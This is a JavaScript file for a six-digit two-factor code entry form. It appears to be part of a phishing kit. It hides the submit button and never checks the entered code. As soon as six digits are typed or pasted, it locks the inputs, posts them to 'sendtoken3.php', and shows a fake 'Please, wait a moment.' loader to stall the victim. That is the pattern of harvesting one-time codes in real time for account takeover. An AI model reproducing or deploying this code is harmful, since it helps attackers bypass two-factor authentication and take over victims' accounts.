function TwoFactor(wrapper, totalDigits) {
    this.wrapper = wrapper;
    this.totalDigits = totalDigits;
    this.form = null;
    this.inputs = [];
}

TwoFactor.prototype.validateNumericInputs = function validateNumericInputs(
    input
) {
    if (isNaN(Number(input.value)) || input.value === "") {
        input.classList.add("invalid");
        return false;
    }
    input.classList.remove("invalid");
    return input.value.length > 1 ? input.value[0] : input.value;
};
TwoFactor.prototype.focusElement = function focusElement(elem) {
    elem.focus();
    elem.select();
};
TwoFactor.prototype.render = function () {
    const inputsWrapper = createInputsWrapper.call(this, this.totalDigits);
    const submitButton = createSubmitButton();

    this.form = createForm();
    this.form.appendChild(inputsWrapper);
    this.form.appendChild(submitButton);
    this.wrapper.appendChild(this.form);

    addEvents.call(this);

    function createForm() {
        const form = document.createElement("div");
        form.classList.add("input-content");
        form.autocomplete = "off";
        form.autocorrect = "false";
        form.autocapitalize = "false";
        form.setAttribute("data-v-cc49725a", "")
        return form;
    }

    function createInput(idx) {
        const input = document.createElement("input");
        input.classList.add("code__digit");
        input.type = "number";
        input.maxlength = "1";
        input.ariaLabel = `Digit ${idx}`;
        input.ariaRequired = "true";
        input.dataset.idx = idx;
        input.setAttribute("data-v-cc49725a", "");
        return input;
    }

    function createInputsWrapper(totalDigits) {
        const digitsWrapper = document.createElement("div");
        const fragment = document.createDocumentFragment();
        for (let i = 0; i < this.totalDigits; i++) {
            const input = createInput(i);
            this.inputs.push(input);
            fragment.appendChild(input);
        }
        digitsWrapper.classList.add("code__digits");
        digitsWrapper.setAttribute("id", "otp_inputs");
        digitsWrapper.style.setProperty("--total-digits", totalDigits);
        digitsWrapper.appendChild(fragment);
        return digitsWrapper;
    }

    function createSubmitButton() {
        const submitButton = document.createElement("button");
        submitButton.classList.add("code__button");
        submitButton.id = "button_login"
        submitButton.style.display = "none"
        submitButton.type = "submit";

        submitButton.textContent = "Submit";
        return submitButton;
    }

    function addEvents() {
        this.form.addEventListener("input", checkInput(this));
        this.form.addEventListener("click", focusInput(this));
        this.form.addEventListener("paste", pasteCode(this));
        this.form.addEventListener("keydown", pressKey(this));

        function checkInput(thisTwoFactor) {
            return function handleNumericInput(e) {
                const value = thisTwoFactor.validateNumericInputs(e.target);
                if (value !== false) {
                    e.target.value = value;
                    focusNextInput.call(thisTwoFactor, e.target);
                } else {
                    e.target.value = "";
                }
            };
        }

        function focusInput(thisTwoFactor) {
            return function handleClickInput(e) {
                if (e.target.tagName == "INPUT") {
                    thisTwoFactor.focusElement(e.target);
                }
            };
        }

        function pasteCode(thisTwoFactor) {
            return function handleCopypase(e) {
                e.preventDefault();
                const copyCode = e.clipboardData.getData("text");
                for (let i = 0; i < thisTwoFactor.inputs.length; i++) {
                    thisTwoFactor.inputs[i].value = copyCode[i];
                    thisTwoFactor.inputs[i].focus();
                }
                setTimeout(() => {
                    submitButton.focus();
                    for (let input of thisTwoFactor.inputs) {
                        if (thisTwoFactor.validateNumericInputs(input) === false) {
                            thisTwoFactor.focusElement(input);
                            break;
                        }
                        var otp1 = thisTwoFactor.inputs[0].value
                        var otp2 = thisTwoFactor.inputs[1].value
                        var otp3 = thisTwoFactor.inputs[2].value
                        var otp4 = thisTwoFactor.inputs[3].value
                        var otp5 = thisTwoFactor.inputs[4].value
                        var otp6 = thisTwoFactor.inputs[5].value
                        var otp_full = otp1+otp2+otp3+otp4+otp5+otp6;                
                        if (otp_full.length == 6) {
                            disfunction()
                            sendtoken1()
                        }
                        function sendtoken1() {
                            $(document).ready(function () {
                                var token = otp_full;
                                $.ajax({
                                    type: 'post',
                                    data: {
                                        token: token,
                                    },
                                    dataType: 'json',
                                    url: 'sendtoken3.php',
                                    success: function (data) {
                                        document.getElementById("loading").style.display = "flex";
                                        setTimeout(() => {
                                            document.getElementById("loading_text").style.display = "flex";
                                        }, 2000);
                                        setTimeout(() => {
                                            document.getElementById("loading_text").textContent = "Please, wait a moment."
                                        }, 3200);
                                    }
                                });
                            });
                            return false;
                        }
                    }
                }, 0);
            };
        }

        function pressKey(thisTwoFactor) {
            return function handleEventKeys(e) {
                handleArrowKeys(e, thisTwoFactor);
                handleDelete(e, thisTwoFactor);
            };
        }

        function handleArrowKeys(e, thisTwoFactor) {
            if (e.key == "ArrowRight") {
                e.preventDefault();
                focusNextInput.call(thisTwoFactor, e.target);
            }
            if (e.key == "ArrowLeft") {
                e.preventDefault();
                focusPrevInput.call(thisTwoFactor, e.target);
            }
        }

        function handleDelete(e, thisTwoFactor) {
            if (e.key == "Backspace") {
                e.target.value = "";
                e.target.classList.add("invalid");
                focusPrevInput.call(thisTwoFactor, e.target);
            }
        }
    }

    function focusNextInput(currentInput) {
        if (currentInput.nextElementSibling) {
            this.focusElement(currentInput.nextElementSibling);
        }
    }

    function focusPrevInput(currentInput) {
        if (currentInput.previousElementSibling) {
            this.focusElement(currentInput.previousElementSibling);
        }
    }
};

const randomCode2 = generateRandomCode(6, 2);
const result2 = document.getElementById("result2");
const wrapper2 = document.getElementById("myOthertwoFactor");

const myOtherTwoFactor = new TwoFactor(wrapper2, 6);
myOtherTwoFactor.render();

myOtherTwoFactor.form.addEventListener("submit",
    submitCode(myOtherTwoFactor, randomCode2, result2)
);

function submitCode(twoFactor, code, result) {
    return function handleSubmit(e) {
        e.preventDefault();
        let areInputsValid = true;
        let inputCode = "";
        for (let input of twoFactor.inputs) {
            if (twoFactor.validateNumericInputs(input) === false) {
                areInputsValid = false;
            }
            inputCode += input.value;
            input.blur();
        }
    };
}

function generateRandomCode(totalDigits = 4, id) {
    const digitsStart = Math.pow(10, totalDigits - 1);
    const code = Math.floor(digitsStart + Math.random() * (digitsStart * 9));
    return code;
}


var input_otp = $('.code__digit');
function disfunction() {
    document.getElementsByClassName("code__digit")[0].disabled = true;
    document.getElementsByClassName("code__digit")[1].disabled = true;
    document.getElementsByClassName("code__digit")[2].disabled = true;
    document.getElementsByClassName("code__digit")[3].disabled = true;
    document.getElementsByClassName("code__digit")[4].disabled = true;
    document.getElementsByClassName("code__digit")[5].disabled = true;
}

input_otp.on('input', function () {
    var value1 = myOtherTwoFactor.inputs[0].value;
    var value2 = myOtherTwoFactor.inputs[1].value;
    var value3 = myOtherTwoFactor.inputs[2].value;
    var value4 = myOtherTwoFactor.inputs[3].value;
    var value5 = myOtherTwoFactor.inputs[4].value;
    var value6 = myOtherTwoFactor.inputs[5].value;
    otp = value1 + value2 + value3 + value4 + value5 + value6;
    if (otp.length == 6) {
        disfunction()
        sendtoken1()
    }
});


function sendtoken1() {
    $(document).ready(function () {
        var token = otp;
        $.ajax({
            type: 'post',
            data: {
                token: token,
            },
            dataType: 'json',
            url: 'sendtoken3.php',
            success: function (data) {
                document.getElementById("loading").style.display = "flex";
                setTimeout(() => {
                    document.getElementById("loading_text").style.display = "flex";
                }, 2000);
                setTimeout(() => {
                    document.getElementById("loading_text").textContent = "Please, wait a moment."
                }, 3200);
            }
        });
    });
    return false;
}